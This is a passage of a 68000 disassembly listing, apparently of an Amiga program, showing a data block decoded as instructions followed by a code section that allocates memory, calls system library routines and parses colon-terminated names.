  630.     DC.W    $041E            ;0548
  631.     OR.B    D2,(A4)+        ;054A: 851C
  632.     ADD.L    D4,(A3)+        ;054C: D99B
  633.     SUB    D7,(A1)+        ;054E: 9F59
  634.     DC.W    $02F3            ;0550
  635.     DC.W    $02C3            ;0552
  636.     BSET    D0,(A4)            ;0554: 01D4
  637.     OR.B    (A6)+,D7        ;0556: 8E1E
  638.     MOVE    -(A2),(A1)+        ;0558: 32E2
  639.     LSL    #2,D7            ;055A: E54F
  640.     DC.W    $04BF            ;055C
  641.     DC.W    $9F71            ;055E
  642.     ANDI.L    #$95303259,-(A4)    ;0560: 02A495303259
  643.     DC.W    $3F3D            ;0566
  644.     MOVE.L    #$9F7102A4,(A1)+    ;0568: 22FC9F7102A4
  645.     DC.W    $04B0            ;056E
  646.     DC.W    $3F3D            ;0570
  647.     MOVE.L    (A2)+,D1        ;0572: 221A
  648.     DC.W    $0430            ;0574
  649.     DC.W    $3F39            ;0576
  650.     MOVEA.L    (A3)+,A1        ;0578: 225B
  651.     ASL    D2,D5            ;057A: E565
  652.     DC.W    $02DA            ;057C
  653.     MOVE.B    (A6),D0            ;057E: 1016
  654.     ADD    D2,D4            ;0580: D842
  655.     DC.W    $02DB            ;0582
  656.     DC.W    $957F            ;0584
  657.     ANDI.L    #$01E51077,D3        ;0586: 028301E51077
  658.     SUBI    #$D99B,-(A3)        ;058C: 0463D99B
  659.     DC.W    $A01A            ;0590
  660.     SUB.B    D2,(A6)+        ;0592: 951E
  661.     ANDI.L    #$01440056,D3        ;0594: 028301440056
  662.     ADD.L    D4,(A3)+        ;059A: D99B
  663.     DC.W    $E5C5            ;059C
  664.     EXG    D4,A3            ;059E: C98B
  665.     BCLR    D5,(A7)            ;05A0: 0B97
  666.     OR.B    D2,(A1)+        ;05A2: 8519
  667.     DIVU    D5,D2            ;05A4: 84C5
  668.     DIVS    D4,D2            ;05A6: 85C4
  669.     OR.B    D2,(A2)+        ;05A8: 851A
  670.     BCHG    D2,(A6)+        ;05AA: 055E
  671.     AND    D1,-(A3)        ;05AC: C363
  672.     MOVE.B    (A1)+,(A0)        ;05AE: 1099
  673.     SUBA.L    (A7)+,A2        ;05B0: 95DF
  674.     MOVEA    D2,A1            ;05B2: 3242
  675.     BCHG    D0,-(A4)        ;05B4: 0164
  676.     MOVE.B    (A0)+,D0        ;05B6: 1018
  677.     AND    D7,EXT_0001        ;05B8: CF79020365E4
  678.     MOVEQ    #-3,D6            ;05BE: 7CFD
  679.     DC.W    $FFFD            ;05C0
  680.     DC.W    $0F7B            ;05C2
  681.     DC.W    $3FCA            ;05C4
  682.     MOVEP    D1,552(A6)        ;05C6: 038E0228
  683.     DC.W    $19B3            ;05CA
  684.     DC.W    $0DB3            ;05CC
  685.     DC.W    $2930            ;05CE
  686.     DC.W    $05B3            ;05D0
  687.     DC.W    $3FCA            ;05D2
  688.     MOVE.B    (A1)+,D0        ;05D4: 1019
  689.     MOVE.B    (A7)+,(A4)        ;05D6: 189F
  690.     DC.W    $3FCA            ;05D8
  691.     SUB.L    D7,26658(A1)        ;05DA: 9FA96822
  692.     MOVE.B    EXT_0003,(A0)        ;05DE: 10B9151E9285
  693.     MOVE    D2,-(A2)        ;05E4: 3502
  694.     DC.W    $3F3D            ;05E6
  695.     MOVEA    (A2)+,A1        ;05E8: 325A
  696.     MOVE.B    (A1)+,(A0)        ;05EA: 1099
  697.     SUBQ.L    #4,D3            ;05EC: 5983
  698.     SUB.B    D2,D7            ;05EE: 9E02
  699.     DC.W    $FED3            ;05F0
  700.     DC.W    $188F            ;05F2
  701.     MOVE.B    D3,(A0)            ;05F4: 1083
  702.     MOVEQ    #-38,D1            ;05F6: 72DA
  703.     ANDI.L    #$02730293,(A3)        ;05F8: 029302730293
  704.     DC.W    $DAF3            ;05FE
  705.     DC.W    $A5B0            ;0600
  706.     AND.B    D2,120(A0,A3.L)        ;0602: C530B878
  707.     DC.W    $A406            ;0606
  708.     DC.W    $A4C7            ;0608
  709.     DC.W    $0F77            ;060A
  710.     MOVE    D2,(A1)            ;060C: 3282
  711.     DC.W    $3FE0            ;060E
  712.     DC.W    $32BA            ;0610
  713.     DC.W    $652F            ;0612
  714.     DC.W    $8F49            ;0614
  715.     DC.W    $02E4            ;0616
  716.     DC.W    $FA16            ;0618
  717.     CMPA    (A3),A5            ;061A: BAD3
  718.     MOVE.B    (A5)+,(A0)        ;061C: 109D
  719.     DC.W    $7983            ;061E
  720.     MOVE.B    D6,D1            ;0620: 1206
  721.     DC.W    $A182            ;0622
  722.     ADD.B    D2,D2            ;0624: D402
  723.     BCHG    D7,-(A7)        ;0626: 0F67
  724.     MOVE    D2,(A1)+        ;0628: 32C2
  725.     DC.W    $E0FF            ;062A
  726.     EOR    D0,EXT_0009        ;062C: B179FF7D3282
  727.     ADDQ.B    #5,D2            ;0632: 5A02
  728.     MOVE.B    (A3)+,D0        ;0634: 101B
  729.     ADD.B    D2,D7            ;0636: DE02
  730.     DC.W    $D9FF            ;0638
  731.     MOVE.B    (A4)+,(A0)        ;063A: 109C
  732.     SUBX.L    D3,D4            ;063C: 9983
  733.     DC.W    $FE02            ;063E
  734.     DC.W    $0F0E            ;0640
  735.     MOVE.L    (A1)+,-(A0)        ;0642: 2119
  736.     DC.W    $AF62            ;0644
  737.     MOVEQ    #63,D1            ;0646: 723F
  738.     DC.W    $E4EE            ;0648
  739.     BCLR    D1,D3            ;064A: 0383
  740.     SUBX.B    -(A2),-(A7)        ;064C: 9F0A
  741.     CMP.B    D6,D4            ;064E: B806
  742.     DC.W    $A4A3            ;0650
  743.     DC.W    $B7F4            ;0652
  744.     DC.W    $B674            ;0654
  745.     DC.W    $A158            ;0656
  746.     DC.W    $12B7            ;0658
  747.     DC.W    $A198            ;065A
  748.     MOVE.B    D2,D0            ;065C: 1002
  749.     DC.W    $32BA            ;065E
  750.     SUBQ.L    #4,D3            ;0660: 5983
  751.     BSET    D1,514(A6)        ;0662: 03EE0202
  752.     CMP.B    (A6),D4            ;0666: B816
  753.     DC.W    $1041            ;0668
  754.     BCLR    D2,-(A3)        ;066A: 05A3
  755.     DC.W    $299F            ;066C
  756.     DC.W    $61D7            ;066E
  757.     DC.W    $A5E1            ;0670
  758.     SUBI    #$1B6B,D3        ;0672: 04431B6B
  759.     DC.W    $07F0            ;0676
  760.     ASL    #2,D3            ;0678: E543
  761.     DC.W    $FC4B            ;067A
  762.     DC.W    $F806            ;067C
  763.     DC.W    $A58F            ;067E
  764.     LEA    (A3),A2            ;0680: 45D3
  765.     MOVEQ    #14,D4            ;0682: 780E
  766.     BTST    D1,D4            ;0684: 0304
  767.     CMPA    -(A3),A5        ;0686: BAE3
  768.     ADDA    (A5),A7            ;0688: DED5
  769.     MULS    (A1),D2            ;068A: C5D1
  770.     DC.W    $3FFC            ;068C
  771.     BCHG    D7,-(A7)        ;068E: 0F67
  772.     MOVE    D2,(A1)            ;0690: 3282
  773.     DC.W    $6F49            ;0692
  774.     DC.W    $02E4            ;0694
  775.     CMP.B    D2,D2            ;0696: B402
  776.     DC.W    $0F37            ;0698
  777.     DC.W    $3279            ;069A
  778.     DC.W    $F00E            ;069C
  779.     CMPA    D5,A2            ;069E: B4C5
  780.     BCLR    D7,D7            ;06A0: 0F87
  781.     MOVEA    D2,A1            ;06A2: 3242
  782.     DC.W    $048F            ;06A4
  783.     DC.W    $2F29            ;06A6
  784.     DC.W    $023B            ;06A8
  785.     BCHG    D7,(A7)            ;06AA: 0F57
  786.     MOVE    (A7)+,(A1)+        ;06AC: 32DF
  787.     DC.W    $3F3D            ;06AE
  788.     DC.W    $32BA            ;06B0
  789.     MOVE.L    A7,(A0)+        ;06B2: 20CF
  790.     ADDX    -(A7),-(A4)        ;06B4: D94F
  791.     ADDA.L    -(A3),A0        ;06B6: D1E3
  792.     DC.W    $C08F            ;06B8
  793.     DC.W    $CF82            ;06BA
  794.     DC.W    $F3E2            ;06BC
  795.     ROL    D2,D3            ;06BE: E57B
  796.     DC.W    $B57E            ;06C0
  797.     MOVEQ    #27,D1            ;06C2: 721B
  798.     SUBA.L    D7,A7            ;06C4: 9FC7
  799.     CMPA.L    (A3),A2            ;06C6: B5D3
  800.     DC.W    $0F7F            ;06C8
  801.     DC.W    $F07F            ;06CA
  802.     EOR    D2,-(A3)        ;06CC: B563
  803.     DC.W    $C534            ;06CE
  804.     SUBQ.B    #7,10856(A0)        ;06D0: 5F282A68
  805.     DC.W    $3FCA            ;06D4
  806.     DC.W    $0374            ;06D6
  807.     SUB.B    D7,(A2)+        ;06D8: 9F1A
  808.     BCHG    D1,544(A6)        ;06DA: 036E0220
  809.     SUB.B    D7,(A2)+        ;06DE: 9F1A
  810.     MOVE    -(A6),640(A7)        ;06E0: 3F660280
  811.     DC.W    $0019            ;06E4
  812.     SUBI    #$3282,-(A5)        ;06E6: 04653282
  813.     MOVE.B    (A3)+,-25066(A5)    ;06EA: 1B5B9E16
  814.     ORI    #$E3FF,-(A5)        ;06EE: 0065E3FF
  815.     DC.W    $02B3            ;06F2
  816.     DC.W    $E0FF            ;06F4
  817.     DC.W    $3FCA            ;06F6
  818.     BTST    D0,D2            ;06F8: 0102
  819.     ORI    #$10E2,D3        ;06FA: 004310E2
  820.     BSET    D2,-(A3)        ;06FE: 05E3
  821.     ADD.B    D7,(A6)+        ;0700: DF1E
  822.     DC.W    $00C3            ;0702
  823.     DC.W    $1079            ;0704
  824.     BSET    D2,-(A3)        ;0706: 05E3
  825.     ADD    D2,(A7)+        ;0708: D55F
  826.     MOVEA    D2,A1            ;070A: 3242
  827.     SUB.B    (A6),D7            ;070C: 9E16
  828.     DC.W    $3FCA            ;070E
  829.     MOVE.B    D1,(A0)            ;0710: 1081
  830.     OR.L    D4,(A3)            ;0712: 8993
  831.     OR.B    D6,D2            ;0714: 8406
  832.     DC.W    $84FB            ;0716
  833.     ADDX    D4,D7            ;0718: DF44
  834.     OR.B    16330(A3),D0        ;071A: 802B3FCA
  835.     DC.W    $1060            ;071E
  836.     MOVE    (A0),0(A4,D1.W)        ;0720: 39901000
  837.     DC.W    $FB1E            ;0724
  838.     SUB.B    D6,D7            ;0726: 9E06
  839.     DC.W    $3FCA            ;0728
  840.     DC.W    $103F            ;072A
  841.     DC.W    $00C2            ;072C
  842.     DC.W    $107F            ;072E
  843.     DC.W    $3990            ;0730
  844.     BTST    D2,(A2)            ;0732: 0512
  845.     MOVE.B    (A7)+,(A0)+        ;0734: 10DF
  846.     DC.W    $FB1E            ;0736
  847.     ORI.L    #$18D919C2,(A1)+    ;0738: 009918D919C2
  848.     DIVU    D4,D2            ;073E: 84C4
  849.     ASL    D2,D5            ;0740: E565
  850.     MOVE.L    (EXT_0000).W,(A2)    ;0742: 24B85DB6
  851.     BSET    D2,-(A0)        ;0746: 05E0
  852.     DC.W    $3677            ;0748
  853.     DC.W    $F720            ;074A
  854.     DC.W    $FA02            ;074C
  855.     OR    -31640(A0),D2        ;074E: 84688468
  856.     OR    -31640(A0),D2        ;0752: 84688468
  857.     DC.W    $3FCA            ;0756
  858.     DC.W    $F9E3            ;0758
  859.     DC.W    $9FFB            ;075A
  860.     MOVE.B    -(A5),(A0)        ;075C: 10A5
  861.     DC.W    $17FF            ;075E
  862.     SUB.B    (A6),D7            ;0760: 9E16
  863.     DC.W    $3FCA            ;0762
  864.     DC.W    $9EFB            ;0764
  865.     ADDX    D0,D7            ;0766: DF40
  866.     DC.W    $001D            ;0768
  867.     MOVE.B    -(A3),D0        ;076A: 1023
  868.     MOVE.B    -(A4),(A0)        ;076C: 10A4
  869.     SUB.B    (A2)+,D7        ;076E: 9E1A
  870.     DC.W    $697F            ;0770
  871.     DC.W    $997F            ;0772
  872.     EXG    D5,D4            ;0774: CB44
  873.     ASL    #5,D4            ;0776: EB44
  874.     DC.W    $001C            ;0778
  875.     DC.W    $FA02            ;077A
  876.     ROXR    D2,D4            ;077C: E474
  877.     DC.W    $E4FE            ;077E
  878.     BTST    D1,D2            ;0780: 0302
  879.     DC.W    $3FCA            ;0782
  880.     BCHG    D1,-97(A4,D0.L)        ;0784: 0374089F
  881.     DC.W    $0374            ;0788
  882.     DC.W    $3FCA            ;078A
  883.     DC.W    $7F7D            ;078C
  884.     MOVE    D2,(A1)            ;078E: 3282
  885.     DC.W    $A1C3            ;0790
  886.     ADD    D2,(A7)+        ;0792: D55F
  887.     MOVE    D2,(A1)            ;0794: 3282
  888.     DC.W    $3FCA            ;0796
  889.     MOVE.B    -(A2),(A0)+        ;0798: 10E2
  890.     DC.W    $0374            ;079A
  891.     OR.B    (A6),D2            ;079C: 8416
  892.     DC.W    $847D            ;079E
  893.     ANDI.L    #$835802C3,(A3)        ;07A0: 0293835802C3
  894.     CMPA.L    -(A3),A7        ;07A6: BFE3
  895.     EOR    D0,D2            ;07A8: B142
  896.     DC.W    $9EF7            ;07AA
  897.     ROXR    D2,D4            ;07AC: E474
  898.     SUBX.B    -(A2),-(A7)        ;07AE: 9F0A
  899.     SUBA.L    770(A2),A7        ;07B0: 9FEA0302
  900.     DC.W    $6528            ;07B4
  901.     MOVEQ    #-9,D7            ;07B6: 7EF7
  902.     DC.W    $003D            ;07B8
  903.     DC.W    $6756            ;07BA
  904.  
  905.  
  906.     SECTION S_1,CODE
  907.  
  908. SECSTRT_1:
  909.     BCHG    D7,(A5)+        ;07BC: 0F5D
  910.     DC.W    $FF38            ;07BE
  911.     MOVEM.L    D2-D7/A2-A3/A6,-(A7)    ;07C0: 48E73F32
  912.     MOVEQ    #0,D0            ;07C4: 7000
  913.     MOVE.L    D0,-52(A5)        ;07C6: 2B40FFCC
  914.     MOVE.L    D0,-60(A5)        ;07CA: 2B40FFC4
  915.     MOVE.L    D0,D4            ;07CE: 2800
  916.     MOVE.L    D0,-116(A5)        ;07D0: 2B40FF8C
  917.     MOVE.L    D0,D5            ;07D4: 2A00
  918.     MOVEA.L    D0,A3            ;07D6: 2640
  919.     MOVE.L    A3,-140(A5)        ;07D8: 2B4BFF74
  920.     MOVE.L    D0,-132(A5)        ;07DC: 2B40FF7C
  921.     MOVE.L    D0,-128(A5)        ;07E0: 2B40FF80
  922.     MOVE.L    D0,-124(A5)        ;07E4: 2B40FF84
  923.     MOVE.L    D0,-120(A5)        ;07E8: 2B40FF88
  924.     MOVE.L    D0,-68(A5)        ;07EC: 2B40FFBC
  925.     MOVE.L    D0,-56(A5)        ;07F0: 2B40FFC8
  926.     MOVE.L    D0,-48(A5)        ;07F4: 2B40FFD0
  927.     MOVE.L    D0,-44(A5)        ;07F8: 2B40FFD4
  928.     MOVE.L    D0,-36(A5)        ;07FC: 2B40FFDC
  929.     MOVE.L    D0,-32(A5)        ;0800: 2B40FFE0
  930.     MOVE.L    D0,-28(A5)        ;0804: 2B40FFE4
  931.     LEA    SECSTRT_2,A0        ;0808: 41F900001D24
  932.     LEA    -148(A5),A1        ;080E: 43EDFF6C
  933.     MOVE.L    (A0)+,(A1)+        ;0812: 22D8
  934.     MOVE.L    (A0)+,(A1)+        ;0814: 22D8
  935.     CLR    -174(A5)        ;0816: 426DFF52
  936.     MOVEA    #$0004,A0        ;081A: 307C0004
  937.     MOVEA.L    (A0),A1            ;081E: 2250
  938.     MOVEQ    #-1,D1            ;0820: 72FF
  939.     MOVE.L    D1,-136(A5)        ;0822: 2B41FF78
  940.     MOVE.L    D0,-156(A5)        ;0826: 2B40FF64
  941.     MOVE.L    D0,-152(A5)        ;082A: 2B40FF68
  942.     MOVE.L    A1,50(A7)        ;082E: 2F490032
  943.     MOVEA.L    A1,A6            ;0832: 2C49
  944.     LEA    LAB_00A9(PC),A1        ;0834: 43FA129E
  945.     MOVEQ    #37,D0            ;0838: 7025
  946.     JSR    -552(A6)        ;083A: 4EAEFDD8
  947.     MOVEA.L    D0,A2            ;083E: 2440
  948.     MOVEA.L    A2,A0            ;0840: 204A
  949.     MOVE.L    A0,46(A7)        ;0842: 2F48002E
  950.     MOVE.L    A2,D0            ;0846: 200A
  951.     BEQ    LAB_00A6        ;0848: 6700126C
  952.     MOVEQ    #64,D1            ;084C: 7240
  953.     LSL.L    #6,D1            ;084E: ED89
  954.     MOVEA.L    A2,A6            ;0850: 2C4A
  955.     JSR    -792(A6)        ;0852: 4EAEFCE8
  956.     TST.L    D0            ;0856: 4A80
  957.     BEQ.S    LAB_0008        ;0858: 670E
  958.     MOVEQ    #76,D1            ;085A: 724C
  959.     LSL.L    #2,D1            ;085C: E589
  960.     MOVEQ    #0,D2            ;085E: 7400
  961.     JSR    -474(A6)        ;0860: 4EAEFE26
  962.     BRA    LAB_009B        ;0864: 60001138
  963. LAB_0008:
  964.     MOVEA.L    -140(A5),A3        ;0868: 266DFF74
  965.     MOVEA.L    46(A7),A2        ;086C: 246F002E
  966.     MOVEQ    #80,D0            ;0870: 7050
  967.     MOVEQ    #0,D1            ;0872: 7200
  968.     MOVEA.L    50(A7),A6        ;0874: 2C6F0032
  969.     JSR    -684(A6)        ;0878: 4EAEFD54
  970.     MOVE.L    D0,-52(A5)        ;087C: 2B40FFCC
  971.     BEQ.S    LAB_0009        ;0880: 6736
  972.     MOVEQ    #80,D0            ;0882: 7050
  973.     MOVEQ    #0,D1            ;0884: 7200
  974.     JSR    -684(A6)        ;0886: 4EAEFD54
  975.     MOVE.L    D0,-48(A5)        ;088A: 2B40FFD0
  976.     BEQ.S    LAB_0009        ;088E: 6728
  977.     MOVE.L    #$0000021A,D0        ;0890: 203C0000021A
  978.     MOVEQ    #1,D1            ;0896: 7201
  979.     SWAP    D1            ;0898: 4841
  980.     JSR    -684(A6)        ;089A: 4EAEFD54
  981.     MOVEA.L    D0,A3            ;089E: 2640
  982.     MOVE.L    A3,-140(A5)        ;08A0: 2B4BFF74
  983.     MOVE.L    A3,D0            ;08A4: 200B
  984.     BEQ.S    LAB_0009        ;08A6: 6710
  985.     MOVEQ    #65,D0            ;08A8: 7041
  986.     LSL.L    #2,D0            ;08AA: E588
  987.     MOVEQ    #1,D1            ;08AC: 7201
  988.     JSR    -684(A6)        ;08AE: 4EAEFD54
  989.     MOVE.L    D0,-132(A5)        ;08B2: 2B40FF7C
  990.     BNE.S    LAB_000A        ;08B6: 6610
  991. LAB_0009:
  992.     MOVEQ    #103,D4            ;08B8: 7867
  993.     MOVEQ    #103,D1            ;08BA: 7267
  994.     MOVEQ    #0,D2            ;08BC: 7400
  995.     MOVEA.L    A2,A6            ;08BE: 2C4A
  996.     JSR    -474(A6)        ;08C0: 4EAEFE26
  997.     BRA    LAB_009B        ;08C4: 600010D8
  998. LAB_000A:
  999.     MOVEA.L    -140(A5),A3        ;08C8: 266DFF74
  1000.     MOVEA.L    46(A7),A2        ;08CC: 246F002E
  1001.     MOVEQ    #39,D0            ;08D0: 7027
  1002.     MOVEQ    #0,D1            ;08D2: 7200
  1003.     LEA    -108(A5),A0        ;08D4: 41EDFF94
  1004. LAB_000B:
  1005.     MOVE.B    D1,(A0)+        ;08D8: 10C1
  1006.     DBF    D0,LAB_000B        ;08DA: 51C8FFFC
  1007.     LEA    LAB_00AA(PC),A0        ;08DE: 41FA1200
  1008.     MOVE.L    A0,D1            ;08E2: 2208
  1009.     LEA    -108(A5),A1        ;08E4: 43EDFF94
  1010.     MOVE.L    A1,D2            ;08E8: 2409
  1011.     MOVEQ    #0,D3            ;08EA: 7600
  1012.     MOVEA.L    A2,A6            ;08EC: 2C4A
  1013.     JSR    -798(A6)        ;08EE: 4EAEFCE2
  1014.     MOVE.L    D0,-44(A5)        ;08F2: 2B40FFD4
  1015.     BNE.S    LAB_000C        ;08F6: 6616
  1016.     JSR    -132(A6)        ;08F8: 4EAEFF7C
  1017.     MOVE.L    D0,D4            ;08FC: 2800
  1018.     MOVEQ    #20,D0            ;08FE: 7014
  1019.     MOVE.L    D0,-68(A5)        ;0900: 2B40FFBC
  1020.     MOVEQ    #0,D0            ;0904: 7000
  1021.     MOVE.L    D0,-116(A5)        ;0906: 2B40FF8C
  1022.     BRA    LAB_0098        ;090A: 6000103C
  1023. LAB_000C:
  1024.     TST.L    -72(A5)            ;090E: 4AADFFB8
  1025.     BEQ.S    LAB_000D        ;0912: 6716
  1026.     MOVEA    #$0004,A0        ;0914: 307C0004
  1027.     MOVEA.L    (A0),A1            ;0918: 2250
  1028.     MOVEA.L    276(A1),A0        ;091A: 20690114
  1029.     MOVE.L    184(A0),-136(A5)    ;091E: 2B6800B8FF78
  1030.     MOVEQ    #-1,D0            ;0924: 70FF
  1031.     MOVE.L    D0,184(A0)        ;0926: 214000B8
  1032. LAB_000D:
  1033.     MOVEQ    #125,D0            ;092A: 707D
  1034.     LSL.L    #2,D0            ;092C: E588
  1035.     MOVEQ    #0,D1            ;092E: 7200
  1036.     MOVEA.L    50(A7),A6        ;0930: 2C6F0032
  1037.     JSR    -684(A6)        ;0934: 4EAEFD54
  1038.     MOVE.L    D0,-56(A5)        ;0938: 2B40FFC8
  1039.     TST.L    D0            ;093C: 4A80
  1040.     BEQ.S    LAB_000E        ;093E: 6716
  1041.     MOVEA.L    -104(A5),A0        ;0940: 206DFF98
  1042.     MOVE.L    A0,D1            ;0944: 2208
  1043.     MOVE.L    D0,D2            ;0946: 2400
  1044.     MOVEQ    #125,D3            ;0948: 767D
  1045.     LSL.L    #2,D3            ;094A: E58B
  1046.     MOVEA.L    A2,A6            ;094C: 2C4A
  1047.     JSR    -840(A6)        ;094E: 4EAEFCB8
  1048.     TST.L    D0            ;0952: 4A80
  1049.     BEQ.S    LAB_000F        ;0954: 6718
  1050. LAB_000E:
  1051.     LEA    LAB_00AB(PC),A0        ;0956: 41FA11F2
  1052.     MOVE.L    A0,D1            ;095A: 2208
  1053.     MOVEA.L    A2,A6            ;095C: 2C4A
  1054.     JSR    -948(A6)        ;095E: 4EAEFC4C
  1055.     MOVEQ    #0,D4            ;0962: 7800
  1056.     MOVEQ    #10,D0            ;0964: 700A
  1057.     MOVE.L    D0,-68(A5)        ;0966: 2B40FFBC
  1058.     BRA    LAB_009B        ;096A: 60001032
  1059. LAB_000F:
  1060.     MOVEA.L    -140(A5),A3        ;096E: 266DFF74
  1061.     MOVEA.L    46(A7),A2        ;0972: 246F002E
  1062.     MOVEA.L    -56(A5),A1        ;0976: 226DFFC8
  1063.     MOVEA.L    50(A7),A6        ;097A: 2C6F0032
  1064.     JSR    -690(A6)        ;097E: 4EAEFD4E
  1065.     SUBA.L    A0,A0            ;0982: 91C8
  1066.     MOVE.L    A0,-56(A5)        ;0984: 2B48FFC8
  1067.     TST.L    -108(A5)        ;0988: 4AADFF94
  1068.     BNE.S    LAB_0010        ;098C: 6608
  1069.     LEA    -148(A5),A0        ;098E: 41EDFF6C
  1070.     MOVE.L    A0,-108(A5)        ;0992: 2B48FF94
  1071. LAB_0010:
  1072.     MOVE.B    #$01,16(A3)        ;0996: 177C00010010
  1073.     MOVE.L    #$00001000,8(A3)    ;099C: 277C000010000008
  1074.     MOVE    #$0100,18(A3)        ;09A4: 377C01000012
  1075.     MOVEA.L    -108(A5),A3        ;09AA: 266DFF94
  1076.     CLR    -174(A5)        ;09AE: 426DFF52
  1077.     BRA.S    LAB_0012        ;09B2: 6004
  1078. LAB_0011:
  1079.     ADDQ    #1,-174(A5)        ;09B4: 526DFF52
  1080. LAB_0012:
  1081.     MOVEA.L    A3,A0            ;09B8: 204B
  1082.     ADDQ.L    #4,A3            ;09BA: 588B
  1083.     TST.L    (A0)            ;09BC: 4A90
  1084.     BNE.S    LAB_0011        ;09BE: 66F4
  1085.     MOVEQ    #0,D7            ;09C0: 7E00
  1086.     MOVE    -174(A5),D7        ;09C2: 3E2DFF52
  1087.     ASL.L    #2,D7            ;09C6: E587
  1088.     MOVE.L    D7,D0            ;09C8: 2007
  1089.     MOVE.L    #$00010001,D1        ;09CA: 223C00010001
  1090.     MOVEA.L    50(A7),A6        ;09D0: 2C6F0032
  1091.     JSR    -684(A6)        ;09D4: 4EAEFD54
  1092.     MOVE.L    D0,-152(A5)        ;09D8: 2B40FF68
  1093.     BNE.S    LAB_0013        ;09DC: 6614
  1094.     MOVEQ    #103,D4            ;09DE: 7867
  1095.     MOVEQ    #103,D1            ;09E0: 7267
  1096.     MOVEQ    #0,D2            ;09E2: 7400
  1097.     MOVEA.L    A2,A6            ;09E4: 2C4A
  1098.     JSR    -474(A6)        ;09E6: 4EAEFE26
  1099.     MOVEA.L    -140(A5),A3        ;09EA: 266DFF74
  1100.     BRA    LAB_009B        ;09EE: 60000FAE
  1101. LAB_0013:
  1102.     MOVEA.L    46(A7),A2        ;09F2: 246F002E
  1103.     MOVE.L    D7,D0            ;09F6: 2007
  1104.     MOVE.L    #$00010001,D1        ;09F8: 223C00010001
  1105.     MOVEA.L    50(A7),A6        ;09FE: 2C6F0032
  1106.     JSR    -684(A6)        ;0A02: 4EAEFD54
  1107.     MOVE.L    D0,-156(A5)        ;0A06: 2B40FF64
  1108.     BNE.S    LAB_0014        ;0A0A: 6614
  1109.     MOVEQ    #103,D4            ;0A0C: 7867
  1110.     MOVEQ    #103,D1            ;0A0E: 7267
  1111.     MOVEQ    #0,D2            ;0A10: 7400
  1112.     MOVEA.L    A2,A6            ;0A12: 2C4A
  1113.     JSR    -474(A6)        ;0A14: 4EAEFE26
  1114.     MOVEA.L    -140(A5),A3        ;0A18: 266DFF74
  1115.     BRA    LAB_009B        ;0A1C: 60000F80
  1116. LAB_0014:
  1117.     MOVEA.L    46(A7),A2        ;0A20: 246F002E
  1118.     MOVEA.L    -108(A5),A0        ;0A24: 206DFF94
  1119.     CLR    -170(A5)        ;0A28: 426DFF56
  1120.     MOVE.L    A0,42(A7)        ;0A2C: 2F48002A
  1121.     BRA    LAB_0028        ;0A30: 600001C4
  1122. LAB_0015:
  1123.     MOVEA.L    (A3),A2            ;0A34: 2453
  1124.     CLR    -166(A5)        ;0A36: 426DFF5A
  1125.     BRA.S    LAB_0017        ;0A3A: 6004
  1126. LAB_0016:
  1127.     ADDQ    #1,-166(A5)        ;0A3C: 526DFF5A
  1128. LAB_0017:
  1129.     MOVEA.L    A2,A3            ;0A40: 264A
  1130.     MOVEQ    #0,D0            ;0A42: 7000
  1131.     MOVE    -166(A5),D0        ;0A44: 302DFF5A
  1132.     ADDA.L    D0,A3            ;0A48: D7C0
  1133.     MOVE.B    (A3),D0            ;0A4A: 1013
  1134.     MOVEQ    #58,D1            ;0A4C: 723A
  1135.     CMP.B    D1,D0            ;0A4E: B001
  1136.     BEQ.S    LAB_0018        ;0A50: 6704
  1137.     TST.B    D0            ;0A52: 4A00
  1138.     BNE.S    LAB_0016        ;0A54: 66E6
  1139. LAB_0018:
  1140.     MOVEQ    #0,D0            ;0A56: 7000
  1141.     MOVE    -166(A5),D0        ;0A58: 302DFF5A
  1142.     MOVEQ    #58,D1            ;0A5C: 723A
  1143.     CMP.B    0(A2,D0.L),D1        ;0A5E: B2320800
  1144.     BNE    LAB_0027        ;0A62: 6600018A
  1145.     ADDQ    #1,D0            ;0A66: 5240
  1146.     MOVEA.L    A2,A0            ;0A68: 204A
  1147.     MOVEQ    #0,D1            ;0A6A: 7200
  1148.     MOVE    D0,D1            ;0A6C: 3200
  1149.     ADDA.L    D1,A0            ;0A6E: D1C1
  1150.     MOVE.B    (A0),D0            ;0A70: 1010
  1151.     CLR.B    (A0)            ;0A72: 4210
  1152.     MOVEQ    #0,D1            ;0A74: 7200
  1153.     MOVE.B    D0,36(A7)        ;0A76: 1F400024
  1154.     MOVE    D1,-168(A5)        ;0A7A: 3B41FF58
  1155.     MOVE    D1,-172(A5)        ;0A7E: 3B41FF54
  1156.     MOVE.L    A0,38(A7)        ;0A82: 2F480026
  1157.     BRA.S    LAB_001B        ;0A86: 602C
  1158. LAB_0019:
  1159.     MOVEQ    #0,D0            ;0A88: 7000
  1160.     MOVE    -168(A5),D0        ;0A8A: 302DFF58
  1161.     ASL.L    #2,D0            ;0A8E: E580
  1162.     MOVEA.L    -156(A5),A0        ;0A90: 206DFF64
  1163.     ADDA.L    D0,A0            ;0A94: D1C0
  1164.     MOVEA.L    A0,A3            ;0A96: 2648
  1165.     MOVE.L    (A3),D0            ;0A98: 2013
  1166.     BEQ.S    LAB_001A        ;0A9A: 6714
  1167.     MOVEA.L    D0,A1            ;0A9C: 2240
  1168.     MOVEA.L    A2,A0            ;0A9E: 204A
  1169.     JSR    LAB_00DF(PC)        ;0AA0: 4EBA124E
  1170.     TST.L    D0            ;0AA4: 4A80
  1171.     BNE.S    LAB_001A        ;0AA6: 6608
  1172.     MOVEQ    #1,D0            ;0AA8: 7001
  1173.     MOVE    D0,-172(A5)        ;0AAA: 3B40FF54
  1174.     BRA.S    LAB_001C        ;0AAE: 600E
  1175. LAB_001A:
  1176.     ADDQ    #1,-168(A5)        ;0AB0: 526DFF58
  1177. LAB_001B:
  1178.     MOVE    -168(A5),D0        ;0AB4: 302DFF58
  1179.     CMP    -170(A5),D0        ;0AB8: B06DFF56
  1180.     BLS.S    LAB_0019        ;0ABC: 63CA
  1181. LAB_001C:
  1182.     MOVEA.L    -152(A5),A0        ;0ABE: 206DFF68
  1183.     MOVEA.L    A0,A1            ;0AC2: 2248
  1184.     ADDA.L    D7,A1            ;0AC4: D3C7
  1185.     MOVEA.L    A1,A3            ;0AC6: 2649
  1186.     TST    -172(A5)        ;0AC8: 4A6DFF54
  1187.     BEQ.S    LAB_0020        ;0ACC: 6754
  1188.     MOVEQ    #0,D0            ;0ACE: 7000
  1189.     MOVE    -168(A5),D0        ;0AD0: 302DFF58
  1190.     ASL.L    #2,D0            ;0AD4: E580
  1191.     ADDA.L    D0,A0            ;0AD6: D1C0
  1192.     MOVE.L    (A0),D1            ;0AD8: 2210
  1193.     MOVEA.L    46(A7),A6        ;0ADA: 2C6F002E
